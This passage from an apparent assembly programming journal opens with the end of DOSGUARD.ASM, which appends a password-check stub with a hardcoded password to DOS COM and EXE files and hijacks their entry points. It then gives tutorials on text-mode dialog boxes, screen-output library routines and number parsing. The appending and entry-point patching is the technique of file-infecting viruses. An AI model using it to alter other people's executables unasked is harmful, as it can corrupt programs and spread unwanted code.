pop ax ret ;------------------------------------------------------------------------- ;Procedure to read a paragraph ;------------------------------------------------------------------------- READ_PARA: push ax push cx mov ah, 3Fh mov cx, 16 int 21h pop cx pop ax ret ;------------------------------------------------------------------------- ;Procedure to write a page ;------------------------------------------------------------------------- WRITE_PAGE: push ax push cx push dx mov ah, 40h mov cx, 512 mov dx, offset buffer int 21h pop dx pop cx pop ax ret ;------------------------------------------------------------------------- ;Procedure to write a paragraph ;------------------------------------------------------------------------- WRITE_PARA: push ax push cx push dx mov ah, 40h mov cx, 16 mov dx, offset buffer int 21h pop dx pop cx pop ax ret ;------------------------------------------------------------------------- ;Procedure to move file pointer back a page ;------------------------------------------------------------------------- DECFP_PAGE: push ax push cx push dx mov ax, 4201h mov cx, -1 mov dx, -512 int 21h pop dx pop cx pop ax ret ;------------------------------------------------------------------------- ;Procedure to move file pointer back a para ;------------------------------------------------------------------------- DEC_PARA: push ax push cx push dx mov ax, 4201h mov cx, -1 mov dx, -16 int 21h pop dx pop cx pop ax ret ;------------------------------------------------------------------------- ;Procedure to move the paragraph buffer to the front ;------------------------------------------------------------------------- MOVE_PARA: push cx mov si, offset para mov di, offset buffer mov cx, 16 rep movsb pop cx ret ;------------------------------------------------------------------------- ;Code to add to COM files ;------------------------------------------------------------------------- COMGUARD: call GET_START GET_START: pop bp sub bp, offset GET_START mov ah, 9h ;DOS print string lea dx, [bp + prompt] ;Print the password prompt int 21h lea di, [bp + guess] xor cx, cx READLOOP: mov ah, 7h ;Read without echo int 21h inc cx ;Count of characters entered stosb ;Store guess for comparison later cmp cx, 10 ;Limit guess to 10 chars including CR je CHECKPASS cmp al, 13 ;Quit loop when CR read jne READLOOP CHECKPASS: lea di, [bp + guess] ;Setup for passwd checking loop lea si, [bp +passwd] ;Setup addresses for cmpsb xor cx, cx ;Set counter to zero cld ;Tell cmpsb to increment si and di CHECKLOOP: cmpsb ;Compare passwd with guess jne FAIL ;Abort program if password is wrong inc cx ;Increment counter cmp cx, 8 ;Only check first 8 chars jne CHECKLOOP ;Loop until you've read first 8 SUCCESS: mov cx, 5 cld lea si, [bp + obytes] mov di, 100h rep movsb push 100h ;return from the jump to execute ret ;the host program FAIL: mov ah, 9h ;DOS print string lea dx, [bp + badpass] ;Print bad password msg int 21h mov ax, 4C00h int 21h prompt DB 'password: ','$' badpass DB 'Invalid password!','$' passwd DB 'smcrocks' guess DB 10 dup (0) obytes DB 0,0,0,0,0 ENDGUARD: ;------------------------------------------------------------------------- ;Code to add to EXE files ;------------------------------------------------------------------------- EXEGUARD: push ax ;Save startup value in ax push ds ;Save value of ds mov ax, cs ;Put cs into ds and es mov ds, ax mov es, ax mov bp, offset ENDGUARD2 - offset EXEGUARD mov ax, [bp-4] mov ah, 9h ;DOS print string lea dx, [bp-57] ;Print the password prompt int 21h lea di, [bp-20] xor cx, cx EREADLOOP: mov ah, 7h ;Read without echo int 21h inc cx ;Count of characters entered stosb ;Store guess for comparison later cmp cx, 10 ;Limit guess to 10 chars including CR je ECHECKPASS cmp al, 13 ;Quit loop when CR read jne EREADLOOP ECHECKPASS: lea di, [bp-20] ;Setup for passwd checking loop lea si, [bp-28] ;Setup addresses for cmpsb xor cx, cx ;Set counter to zero cld ;Tell cmpsb to increment si and di ECHECKLOOP: cmpsb ;Compare passwd with guess jne EFAIL ;Abort program if password is wrong inc cx ;Increment counter cmp cx, 8 ;Only check first 8 chars jne ECHECKLOOP ;Loop until you've read first 8 ESUCCESS: pop ds mov ax, ds mov es, ax pop ax cli mov ss, word ptr cs:[bp-10] mov sp, word ptr cs:[bp-8] sti xor cx, cx xor dx, dx xor bp, bp xor si, si xor di, di lahf xor ah, ah sahf jmp dword ptr cs:[ENDGUARD2-EXEGUARD-6] EFAIL: mov ah, 9h ;DOS print string lea dx, [bp-46] ;Print bad password msg int 21h mov ax, 4C00h int 21h eprompt DB 'password: ','$' ebadpass DB 'Invalid password!','$' epasswd DB 'smcrocks' eguess DB 10 dup (0) hosts DW 0, 0 hostc DW 0, 0 delta DW 0 ENDGUARD2: filter1 DB '*.com',0 filter2 DB '*.exe',0 bytes DB 0,0,0,'CG' exehead DB 28 dup (0) buffer DB 512 dup (0) para DB 16 dup (0) lps DW 0 END START ---------------------------END DOSGUARD.ASM------------------------------------ ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Creating a User-Friendly Interface by S Sirajudeen Now a days, a programmer of any language has to include user friendly features in his commercial software, since users desire user friendliness for easy use. For example, Windows is the most popular OS due to its Graphical User Interface. For an assembly language programmer who tries to develop a DOS-based program, it is drudgery and challenging to incorporate even a few basic features of graphical interface like that of Windows. Sometimes, in assembly language, the time taken to develop the core of a software may be very less than writing code for its user interface. For instance, assume that we're writing an addition program which displays a dialog box to input two numbers and displays result in a dialog box. Here,the dialog box is the user interface. What we have to do in this program is, * Displaying a dialog box. * Receiving the numbers to be added as string. * Checking the string whether it contains alphabets and graphics characters. If so, prompting the user to reenter the numbers. * Converting the ASCII digits into binary form. * Performing binary multibyte addition.. * Converting sum which is binary into ASCII digits. * Displaying sum in a dialog box. Our intention is only the addition of two numbers. But we have to spend more time in the user interface design than for addition. As I say these things, you may become frustrated and decide to skip user interface design. Still, in developing utilities or packages for commercial purpose, a programmer will have to do these things to accomodate users. This is why I present this article. This article will focus on user friendly features in DOS text mode. In DOS text mode, user friendly means features such as menus, message box, dialog box, list box, text window, radio button, status bar, mouse support etc. In this article, I will cover only an about message box and a dialog box. However, knowledge of interrupts (for screen and mouse handling) is essential, even for a C/C++ programmer, to incorporate user friendly features in a DOS based program. GETTING STARTED: Before going on, some things must be cleared. i) A text can be displayed in one of the following ways 1) Direct access of video memory 2) Using INT 21h 3) Using INT 10h In the examples of this article, I have used the function 0Eh of INT 10h to display text. ii) To make the example programs as straightforward, I have used |, - and + as the box characters in the dialog box, since actual box characters are EXTENDED ASCII characters which are not allowed in a text article. The content of dialog box is labeled as DIALOG_BOX_TEXT. Before compiling this program, in the content of the dialog box, PLEASE REPLACE the characters |, - and + with the BOX CHARACTERS which are specified below. -------------------------------------- ASCII code Description -------------------------------------- 179 | Vertical bar 196 -- Horizontal bar 218 | Upper left corner 191 | Upper right corner 192 |_ Lower left corner 217 _| Lower right corner -------------------------------------- EXAMPLE 1: First of all, we're going to put a zooming message box in our program. It is an introduction to second example. You may be seen that some utlities such as Norton Utilities display zooming message box to alert users. What this program does is - n boxes of different size, are continously displayed one after another for n seconds each. In this case, each time a box which is larger than previous one is displayed. It seems like the box is zooming. LOGIC: Assume that displaying boxes which are larger than previously displayed box, means enalarging/zooming the previously displayed box. i) Zoom box by n rows ii) Zoom box by n columns iii) Zooming box for n times - It displays horizontal and vertical shadows for the box - Finally displays text within the box What you will learn: i) Screen handling using BIOS interrupt 10h ii) An introduction to learn the second example. Below is the source code of our simple program. ;; +------------------------------------------------------------------------+ ;; | Program : MSGBOX.ASM | ;; | Purpose : Demonstration program about Message Box | ;; | Assembler : TASM | ;; +------------------------------------------------------------------------+ ;; MACROS in this program : @SetTextMode, @Cursor, @Display, @Window, @Delay ;; PROCEDURES in this program: Message_box, Window ;;///////////////////////////////////////////////////////////////////////;; .386 MODEL USE16 TINY ;; @Always must be TINY model ;;///////////////////////////////////////////////////////////////////////;; DATASEG ;; Initialize variables RED EQU 4fh ;; @Color values BLACK EQU 0fh BLUE EQU 1fh screen EQU BLUE shadow_colour EQU BLACK box_background_colour EQU RED ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; nl EQU 0Dh,0Ah label dialog_box_text db nl db nl,' +-------------------------+--------------------------------------+' db nl,' | ::/ \::::::. | Program to Display a Message Box |' db nl,' | :/___\:::::::. | |' db nl,' | /| \::::::::. | Written By S.SIRAJUDEEN. |' db nl,' | :| _/\:::::::::. | E-Mail: ssirajudeen@netscape.net |' db nl,' | :| _|\ \::::::::::. | |' db nl,' | :::\_____\::::::::::. | Published in ASMJOURNAL |' db nl,' | ::::::::::::::::::::::. | Internet: asmjournal.freeservers.com |' db nl,' | AsmJournal | |' db nl,' +-------------------------+--------------------------------------+' db nl,' | # If you have any comments or suggestions then please email me|' db nl,' | at ssirajudeen@netscape.net |' db nl,' +----------------------------------------------------------------+' db nl,nl,nl,nl count dw $-offset dialog_box_text ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; upper_x equ 08 ;; Upper left corner of the box to be zoomed upper_y equ 37 lower_x equ 08 ;; Lower right corner of the box to be zoomed lower_y equ 39 left_x db upper_x ;; Variables to hold the UPPER LEFT coordinates of the left_y db upper_y ;; next box to be displayed right_x db lower_x ;; Variables to hold the LOWER RIGHT coordinates of the right_y db lower_y ;; next box to be displayed shadow_vertical_left_x db upper_x+1 ;; Don't Change! shadow_vertical_left_y db lower_y+1 ;; Coordinates to display the VERTICAL shadow_vertical_right_x db lower_x+1 ;; shadow of message box. shadow_vertical_right_y db lower_y+2 shadow_horizontal_left_x db lower_x+1 ;; Don't Change! shadow_horizontal_left_y db upper_y+2 ;; Coordinates to display the HORIZONTAL shadow_horizontal_right_x db lower_x+1 ;; shadow of message box shadow_horizontal_right_y db lower_y+2 ;;//////////////////////////////////////////////////////////////////////;; UDATASEG DW 100H DUP (?) MyStack LABEL WORD ;;--------------------------< @SetTextMode >------------------------;; @SetTextMode MACRO mov ax,0003h int 10h ENDM ;;End of macro ;;----------------------------< @Cursor >---------------------------;; ;;PURPOSE : Macro to move cursor ;;SYNTAX : @Cursor , @Cursor MACRO ROW,COL mov ah,02 mov bh,00 mov dh,ROW mov dl,COL int 10h ENDM ;;End of macro ;;----------------------------< @Display >---------------------------;; ;;PURPOSE: Macro to display a text ;;SYNTAX : @DISPLAY , @Display MACRO xcount, address LOCAL display_text mov cx, xcount ;; Number of characters to be displayed mov bx, offset address display_text: mov ah,0Eh ;; Display the text mov al,byte ptr [bx] push bx mov bh,00 mov bl,07h int 10h pop bx inc bx ;; Point to next character loop far ptr cs:display_text ENDM ;;End of macro ;;-----------------------------< @Window >----------------------------;; ;;PURPOSE : Macro to display a window with a given color as background ;;SYNTAX : @window , ;; , , ;; , @window MACRO color, lrow, lcol, rrow, rcol mov ah,06 mov al,00 mov bh, color ;; Background Color mov ch, lrow mov cl, lcol mov dh, rrow mov dl, rcol int 10h ENDM ;;End of macro ;;-----------------------------< @Delay >-----------------------------;; @delay MACRO mov ah,86h ;; Execute a time delay mov dx,4500h ;;9000 mov cx,0000h int 15h ENDM ;;End of macro ;;///////////////////////// MAIN PROGRAM /////////////////////////////;; CODESEG ;; This marks the start of executable code STARTUPCODE mov sp,offset MyStack push cs ;; Initialize segment registers. pop ds push cs pop ss mov ah,0Bh ;; Display screen border in WHITE color mov bx,0007h int 10h call message_box ;; Display the message box mov ax,4C00h ;; Terminate the program. int 21h ;;//////////////////////////// Message_box ///////////////////////////;; Message_box PROC @SetTextMode @cursor 00,00 ;; Position cursor at 00,00. @window screen,00,00,24,79 ;; @Clear screen ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; mov cx,0008h ;; Don't change! Calculate how many times to zoom. zoom: push cx ;; @@Display a window which is zooming. call window pop cx loop zoom ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; @display count, dialog_box_text ret Message_box ENDP ;;/////////////////////////// Window ///////////////////////////////;; Window PROC ;;Display a window with BLUE colour as background. @window box_background_colour, left_x, left_y, right_x, right_y dec byte ptr left_x sub cl,5 mov byte ptr left_y,cl inc byte ptr right_x add dl,5 mov byte ptr right_y,dl ;;---------------------------------------------------------------------;; ;;Display a horizontal shadow. @window shadow_colour,shadow_vertical_left_x,shadow_vertical_left_y, shadow_vertical_right_x,shadow_vertical_right_y dec byte ptr shadow_vertical_left_x add cl,5 mov byte ptr shadow_vertical_left_y,cl inc byte ptr shadow_vertical_right_x add dl,5 mov byte ptr shadow_vertical_right_y,dl ;;--------------------------------------------------------------------;; ;;Display a horizontal shadow. @window shadow_colour,shadow_horizontal_left_x, shadow_horizontal_left_y, shadow_horizontal_right_x,shadow_horizontal_right_y inc byte ptr shadow_horizontal_left_x sub cl,5 mov byte ptr shadow_horizontal_left_y,cl inc byte ptr shadow_horizontal_right_x add dl,5 mov byte ptr shadow_horizontal_right_y,dl ;;--------------------------------------------------------------------;; @delay ret Window ENDP END ;;////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\;; EXAMPLE 2: Well, next we're going to put a DIALOG BOX in our program. What it does is: - Displays a dialog box with YES and NO buttons - Supports button selection using mouse (i) Checks for mouse installation (ii) Shows mouse pointer (iii) Captures button click of the left mouse button - Checks for keyboard input (i) Checks whether EXTENDED keys has pressed (ii) Checks whether ENTER or TAB key has pressed - Toggles button selection, on presssing TAB, LEFT ARROW key or RIGHT ARROW key. - On pressing ENTER key or clicking OK/YES button, displays different messages according to button selection and terminates. What we will learn from this example is: (i) Mouse handling (ii) Screen handling using BIOS interrupt 10h (iii) Key board handling using BIOS interrupt 16h (iv) Idea of user interface design I made the following program very straightforward and ignored code optimization to reduce complexity. ;; +-------------------------------------------------------------------------+ ;; | Program : DLGBOX.ASM | ;; | Purpose : Demonstration program about Dialog Box with YES & NO button | ;; | Features : Supports mouse for button selection | ;; | Assembler : TASM | ;; | Required Knowledge: INT 21h, INT 10h, INT 16h, INT 33h & Scan Code | ;; +-------------------------------------------------------------------------+ ;; MACROS in this program : @Cursor, @Display, @window, @Yes & @No ;; PROCEDURES in this program: Dialog_box ;;///////////////////////////////////////////////////////////////////////;; .386 MODEL USE16 TINY ;; @Always must be TINY model ;;///////////////////////////////////////////////////////////////////////;; DATASEG ;; Initialize variables mouse db 'n' ;; Flag to indicate the availability of mouse mouse_x db 0 ;; Keep track of position of mouse cursor mouse_y db 0 m_x dw 00 m_y dw 00 left_mouse_button db 0 ;; Flag updated on clicking the left mouse button ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; RED EQU 4fh ;; @Color values CYAN EQU 3fh BLACK EQU 0fh BLUE EQU 1fh WHITE EQU 7fh box_height EQU 10 box_width EQU 46 left_x EQU 7 ;; Upper left corner of user window left_y EQU 20 right_x EQU left_x+box_height-1 ;; Calculate lower right corner of user window right_y EQU left_y+box_width-1 upper_left_row db left_x upper_left_col db left_y box_background_color EQU RED ; Background color of dialog box nl EQU 0Dh,0Ah ; New line label dialog_box_text db '+--------------- USER COMMENT ---------------+' ;Dialog box. The variable db '| |' ;dialog_box_text contains db '| Written By S.Sirajudeen |' ;10 lines; width of each db '| E-mail: ssirajudeen@netscape.net |' ;line is 46 characters. db '| |' db '| HAVE YOU ENJOYED THIS PROGRAM? |' ;NOTE: db '| |' ;If you edit here, you db '| Yes # No # |' ;should UPDATE the db '| ####### ####### |' ;text_width and db '+--------------------------------------------+' ;text_line_count. count dw $-offset dialog_box_text text_line_count EQU 10 ;; Variable dialog_box_text contains 10 lines text_width EQU 46 ;; and width of each line is 46 characters ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; shadow EQU WHITE ;; color of button shadow ;;NOTE: Width of 'yes' and 'yes_button' should be same. yes_button db 17,' Yes ',16 ;; Displayed on YES button has selected yes db ' Yes ' yes_horz_shadow db 7 dup(223) yes_char_count EQU 7 ;;NOTE: Width of 'no' and 'no_button' should be same. no_button db 17,' No ',16 ;; Displayed on NO button has selected no db ' No ' no_horz_shadow db 7 dup(223) no_char_count EQU 7 vert_shadow db 220 yes_x EQU right_x-2 ;; Coordinate where YES button to displayed yes_y EQU left_y+(box_width/2)-yes_char_count-4 ;;32 no_x EQU right_x-2 ;; Coordinate where NO button to displayed no_y EQU left_y+(box_width/2)+1 ;;44 select EQU BLUE ;; @Background color to highlight the button selection unselect EQU BLACK button db 'y' ;; @Flag to keep track of the button selection. If the value ;; is 'y', the YES button has selected; 'n' for the NO button. ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; label thank_you ;; Message to be displayed upon YES button has pressed db 07,' Written By S.SIRAJUDEEN',nl db '4/55,L.M.BUILDING,KUMARESAPURAM,KUTHAPAR(PO),TRICHY-620013,TAMILNADU,INDIA' db nl,' Email: ssirajudeen@netscape.net' db nl,nl,' Thank you! Good-bye!!' thank_you_count dw $-thank_you label suggest ;; Message to be displayed upon NO button has pressed db 7h,' If you have any comments or suggestions, then please mail me at' db nl,' ssirajudeen@netscape.net' db nl suggest_count dw $-suggest ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; ;; -------------+----------- When a key has pressed, it returns a code. ;; |Extended Keys| Scan Code | This code is called SCAN CODE. ;; |-------------+-----------| Alphanumeric keys, tab, space and escape ;; | Left Arrow | 75 | keys return one byte code. But Extended ;; | Right Arrow | 77 | keys return two bytes code. The first byte ;; | Up Arrow | 72 | always 0. The second is the actual scan code. ;; | Down Arrow | 80 | Arrow keys, Home, End, PageUp, Page Down, ;; -------------+----------- Insert, Delete, Function keys, Pause/break, ;; Scroll Lock & Print Screen are called EXTENDED ;; KEYs. LEFT_ARROW equ 75 ;; Scan code of LEFT ARROW key is 75 RIGHT_ARROW equ 77 ;; ,, RIGHT ARROW keyis 77 TAB_KEY equ 9 ;; Scan code of TAB key is 9 ENTER_KEY equ 13 ;; ,, ENTER key is 13 ;;//////////////////////////////////////////////////////////////////////;; UDATASEG DW 50H DUP (?) MyStack LABEL WORD ;;----------------------------< @Cursor >---------------------------;; ;;PURPOSE : Macro to move cursor ;;SYNTAX : @Cursor , @Cursor MACRO ROW,COL mov ah,02 mov bh,00 mov dh,ROW mov dl,COL int 10h ENDM ;;End of macro ;;----------------------------< @Display >---------------------------;; ;;PURPOSE: Macro to display a text ;;SYNTAX : @DISPLAY , @Display MACRO xcount, address LOCAL display_text mov cx, xcount ;; Number of characters to be displayed mov bx, offset address display_text: mov ah,0Eh ;; Display the text mov al,byte ptr [bx] push bx mov bh,00 mov bl,07h int 10h pop bx inc bx ;; Point to next character loop far ptr cs:display_text ENDM ;;End of macro ;;----------------------------< @window >-----------------------------;; ;;PURPOSE : Macro to display a window with a given color as background ;;SYNTAX : @window , ;; , , ;; , @window MACRO color, lrow,lcol, rrow, rcol mov ah,06 mov al,00 mov bh, color ;;Background Color mov ch, lrow mov cl, lcol mov dh, rrow mov dl, rcol int 10h ENDM ;;End of macro ;;------------------------< @button_shadow >--------------------------;; ;;PURPOSE ; Macro to pad the button with horizontal and vertical char to ;; make it as 3D button. @button_shadow MACRO @Cursor yes_x+1, yes_y+1 ;; Display horizontal shadow of YES button @Display yes_char_count, yes_horz_shadow @Cursor yes_x, yes_y+yes_char_count ;; Display vertical shadow @Display 1, vert_shadow @Cursor no_x+1, no_y+1 ;; Display horizontal shadow of NO button @Display no_char_count, no_horz_shadow @Cursor no_x, no_y+no_char_count ;; Display vertical shadow @Display 1, vert_shadow ENDM ;;-----------------------------< @Yes >-------------------------------;; ;;PURPOSE : Macro to select the YES button. ;; In other words, a window which is used as YES button is displayed @Yes MACRO mov button, 'y' ;; DON'T CHANGE! ; Update flag @window select, yes_x, yes_y, yes_x, yes_y+(yes_char_count-1) @window unselect, no_x, no_y, no_x, no_y+(no_char_count-1) @Cursor yes_x,yes_y ;; Move cursor to YES button @Display yes_char_count,yes_button ;; Display label of YES @Cursor no_x,no_y ;; Move cursor to NO button @Display no_char_count, no ;; Display label of NO button ENDM ;;End of macro ;;-----------------------------< @No >--------------------------------;; ;;PURPOSE : Macro to select the NO button ;; In other words, a window which is used as NO button is displayed @No MACRO mov button, 'n' ;; DON'T CHANGE! ; Update flag @window unselect,yes_x, yes_y, yes_x, yes_y+(yes_char_count-1) @window select, no_x, no_y, no_x, no_y+(no_char_count-1) @Cursor yes_x,yes_y @Display yes_char_count, yes @Cursor no_x,no_y @Display no_char_count, no_button ENDM ;;End of macro ;;//////////////////////// MAIN PROGRAM /////////////////////////////;; CODESEG ;;This marks the start of executable code STARTUPCODE mov sp,offset MyStack push cs ;;Initialize segment registers. pop ds push cs pop ss ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; @window BLACK, 00, 00, 24, 79 ;;@Clear screen call Dialog_box ;;Display the dialog box display_thank_u: cmp button,'y' ;; Check whether YES button has pressed/clicked jne display_suggestion @Display thank_you_count, thank_you jmp _end display_suggestion: ;; NO button has pressed/clicked @Display suggest_count, suggest ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; _end: mov ax,4C00h ;; Terminate the program. int 21h ;;/////////////////////////// Dialog_box ////////////////////////////;; Dialog_box PROC mov ax,0003 ;; Don't change! Set text mode in 3. Changing this mode int 10h ;; causes different resolution. Mouse movement is converted ;; into rows and columns based on the resolution of text mode. mov ax,00 ;; Reset mouse int 33h cmp ax,00 ;; Check for error je start mov ax,01 ;; Show mouse pointer int 33h mov mouse, 'y' ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; start: @window box_background_color,left_x,left_y,right_x,right_y ;;Display a BOX @Cursor left_x,left_y ;; Move cursor to upper left corner of dialog box mov cx, text_line_count ;; Display n lines as dialog box text mov bx, offset dialog_box_text ;; Address of text next_line: push bx ;; OUTER LOOP push cx mov cx,00 ;; INNER LOOP mov cl, text_width display_text: mov ah,0Eh ;; Display the text mov al,byte ptr [bx] push bx mov bh,00 mov bl,07h int 10h pop bx inc bx loop far ptr cs:display_text ;; INNER LOOP pop cx pop bx mov dx,00 ;; Calculate address of next line mov dl, text_width add bx, dx inc byte ptr upper_left_row push bx @Cursor upper_left_row, upper_left_col ;; Move cursor to next line within pop bx ;; dialog box loop far ptr cs:next_line ;; OUTER LOOP @button_shadow ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; _yes: @Yes ;; Select the YES button cmp left_mouse_button,01 je _end_proc jmp mouse_check _no: @No ;;Select the NO button cmp left_mouse_button,01 je _end_proc mouse_check: cmp mouse, 'y' ;; Check whether mouse is available jne key_check mov ax,03 ;; Get mouse cursor position int 33h mov left_mouse_button,bl mov word ptr m_x,dx mov word ptr m_y,cx mouse_button: and left_mouse_button, 01 ;; Check whether left mouse button has pressed cmp left_mouse_button, 01 jne key_check mouse_row: mov mouse_x,0 ;; Mouse movement is converted into rows and columns ;; to calculate the position of mouse cursor cmp word ptr m_x,00 je mouse_col mov ax,word ptr m_x ;; In the text mode 3, to calculate the current ROW, mov bl,8 ;; divide the position value for VERTICAL movement div bl ;; by 8. mov mouse_x, al mouse_col: mov mouse_y,0 ;; Mouse movement is converted into rows and columns ;; to calculate the position of mouse cursor cmp word ptr m_y,00 je key_check mov ax, word ptr m_y ;; In the text mode 3, to calculate the current COLUMN, mov bl,8 ;; divide the position value for HORIZONTAL movement div bl ;; by 8. mov mouse_y, al mouse_yes: mov al, mouse_x cmp al, yes_x ;; Check whether mouse has clicked anywhere on jne mouse_no ;; the row where YES button is displayed mov al, mouse_y cmp al, yes_y jb mouse_no cmp al, yes_y+(yes_char_count-1) ja mouse_no mov button, 'y' jmp _yes mouse_no: mov al, mouse_x cmp al, no_x ;; Check whether mouse has clicked anywhere on jne key_check ;; the row where NO button is displayed mov al, mouse_y cmp al, no_y jb key_check cmp al, no_y+(no_char_count-1) ja key_check mov button, 'n' jmp _no key_check: mov ah,01 ;; @Check whether any character is in keyboard buffer int 16h jz mouse_check mov ah,08 ;; @Receive character without echoing to screen int 21h cmp al, TAB_KEY ;; Check whether TAB key has pressed je _left cmp al,ENTER_KEY ;; Check whether ENTER key has pressed. je _end_proc ;; Exit program cmp al,00 ;; @Check whether any Extended Key has pressed. jne mouse_check mov ah,08 int 21h cmp al, LEFT_ARROW ;; Check whether LEFT ARROW key has pressed je _left cmp al, RIGHT_ARROW ;; Check whether RIGHT ARROW key has pressed je _right jmp mouse_check ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -; _left: cmp button,'y' je _no jmp _yes _right: cmp button,'y' je _no jmp _yes ;;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -;; _end_proc: @Cursor right_x+1, 0 ;; Move cursor below the dialog box mov ax,02 ;; Hide mouse cursor int 33h RET Dialog_box ENDP ;; End of procedure END ;; End of program ;;////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\;; Now, we have written a superb user friendly program. If you want to embed the above examples in your work, you may have to heavily change these programs, but the basic principles will be the same. Please, e-mail me your comments and suggestions at ssirajudeen@netscape.net ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE ASM Building Blocks by Laura Fairhead Here are some simple but very powerful library routines, primarily concerned with screen output. They all follow the same conventions: * Routines preserve all registers that they are not specified to return. * The direction flag (DF) should always be clear before calling. All code is presented in MASM format. I do not use very many of the functions of this assembler so it should be trivial to assemble these under a different one. I do, however, use OPTION SCOPED, this means that labels within a PROC block are local to that PROC block (a double colon suffixed label is given global scope though). First come the primitive routines. These are responsible for the actual output and simply call DOS to do it. The name for this sort of thing is called a 'wrapper' function. It does nothing in itself except afford a particular interface to an application. If all your access to the OS is in a small number of logical wrapper functions then porting your code to other systems becomes a lot easier. ;pstrcx- write CX characters to stdout ; uses DOS function 040h ; ;entry: DS:SI=string address ; CX=length of string ; ;exit: (no parameters are returned) pstrcx PROC NEAR ;assume that DOS can't handle a zero-byte write ;(I don't trust those M$ programmers) JCXZ don PUSH AX PUSH BX MOV AH,040h MOV BX,1 ;stdout is handle #1 XCHG DX,SI INT 021h XCHG DX,SI POP BX POP AX don: RET pstrcx ENDP Note the use of XCHG. XCHG is an extremely useful instruction indeed, even though there are those who wish to see it's death along with all those other "horrible, odd-ball, x86 specific". XCHG in essence performs two operations simultaneously, which is hideously useful considering they are both MOV's, also if one of the registers is AX (or EAX in 32-bit code) you get a lovely 1 byte instruction bonus. XCHG is in fact the real instruction hiding behind the psuedo-op NOP. If you look at the opcode for a NOP, it is 090h, this is actually the encoding for XCHG AX,AX, which since it has no effect on the machine state whatsoever (except of course IP+=1) is ideally suited for this. I haven't looked back since adding putch to my library. I used to use the sequence:- MOV DL,; MOV AH,2; INT 021h Not only is the putch method much cleaner and more flexible it is also saving bytes! Of course the pay-back is that this method adds clocks. However if you think about it the wasted clocks are meaningless really. Sending characters one at a time to stdout is rather like spelling out a dictate to your secretary letter-by-letter. In a case where you want more MIPS you should be looking at your higher level algorithm and not the output routine, an INT takes a vast amount of time anyway... ;putch- write single character to stdout ; uses DOS function 02h ; ;entry: AL=character to write ; ;exit: (no parameters are returned) putch PROC NEAR PUSH DX XCHG DX,AX MOV AH,2 INT 021h XCHG DX,AX POP DX RET putch ENDP Not hot on speed this strlen, it was written to be compact. You can if you wish write MUCH faster code than this. I believe X-Bios2 presented something along these lines in a previous APJ. However, the most important thing here is certainly not speed, and again if you wanted speed on string handling so badly, you should really not use asciiz at all; it was never designed for that. ;strlen- return length of asciiz string ; ;entry: DS:SI=address of asciiz string ; ;exit: CX=length of string strlen PROC NEAR PUSH AX XOR CX,CX DEC CX lop: INC CX LODSB CMP AL,1 JNC lop SBB SI,CX POP AX RET strlen ENDP Now, already, we start getting serious payback for being so good. The code virtually writes itself..... ;pstr- write asciiz string to stdout ; ;entry: DS:SI=address of asciiz string ; ;exit: (no parameters are returned) pstr PROC NEAR PUSH CX CALL NEAR PTR strlen CALL NEAR PTR pstrcx POP CX RET pstr ENDP ;pstrcr- write asciiz string to stdout with appended newline ; ;entry: DS:SI=address of asciiz string ; ;exit: (no parameters are returned) pstrcr PROC NEAR CALL NEAR PTR pstr JMP NEAR PTR outcr pstrcr ENDP ;outcr- write newline to stdout ; ;entry: (no entry parameters) ; ;exit: (no parameters are returned) outcr PROC NEAR PUSH AX MOV AL,0Dh;CALL NEAR PTR putch MOV AL,0Ah;CALL NEAR PTR putch POP AX RET outcr ENDP ;pchn- write repeated character to stdout ; ;entry: AL=character ; CX=repetitions (0 is valid and does nothing) ; ;exit: (no parameters are returned) pchn PROC NEAR JCXZ don PUSH CX lop: CALL NEAR PTR putch LOOP lop POP CX don: RET pchn ENDP ;pstrlcl- output string DS:SI left justified in a field ; of CL spaces ; ; if the field width is smaller than the string length ; then the string is simply output ; ;entry: DS:SI=asciiz string ; CL=field width ; ;exit: (all registers preserved) pstrlcl PROC NEAR PUSH AX PUSH CX CALL NEAR PTR pstr MOV CH,0 XCHG CX,AX CALL NEAR PTR strlen SUB AX,CX JNA SHORT don XCHG CX,AX MOV AL,020h CALL NEAR PTR pchn don: POP CX POP AX RET pstrlcl ENDP Note the use of JNA. If you look at the logic for the JNA branch (not many people seem to do this) you find that it branches iff CF=1 OR ZF=1, hence after the SUB if the result goes <=0 You may notice that all the routine names are <= 8 chars. The reason for this being that you can save each one as a seperate file, giving it the name of the routine. This allows easy reference but has a drawback or two: (i) you have to remember the dependencies when you INCLUDE them (ii) you end up with a LOT of files So far I haven't found either of these 'drawbacks' to be a serious problem. I will be referring back to routines a lot in future articles; whenever routines are required I will state it and the code shall have a list of INCLUDE's for the routines to be included. In this manner it will be possible to present quite untrivial programs within a reasonable amount of space. ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Converting Strings to Numbers by Chris Dragan Many programs require user input, which is often numbers. For this purpose there are library functions, like for example sscanf() in C. But in assembly all has to be done by hand, even under Windows (with the exception of edit controls - GetDlgItemInt() function). My last project required a flexible function for reading numbers stored as strings. From this project I carried out a great function which handles most of common number formats. The function expects esi register to point at a string, which is a number. The string can have one of the following forms: 10 decimal integer 10D decimal integer 1010B binary integer AH 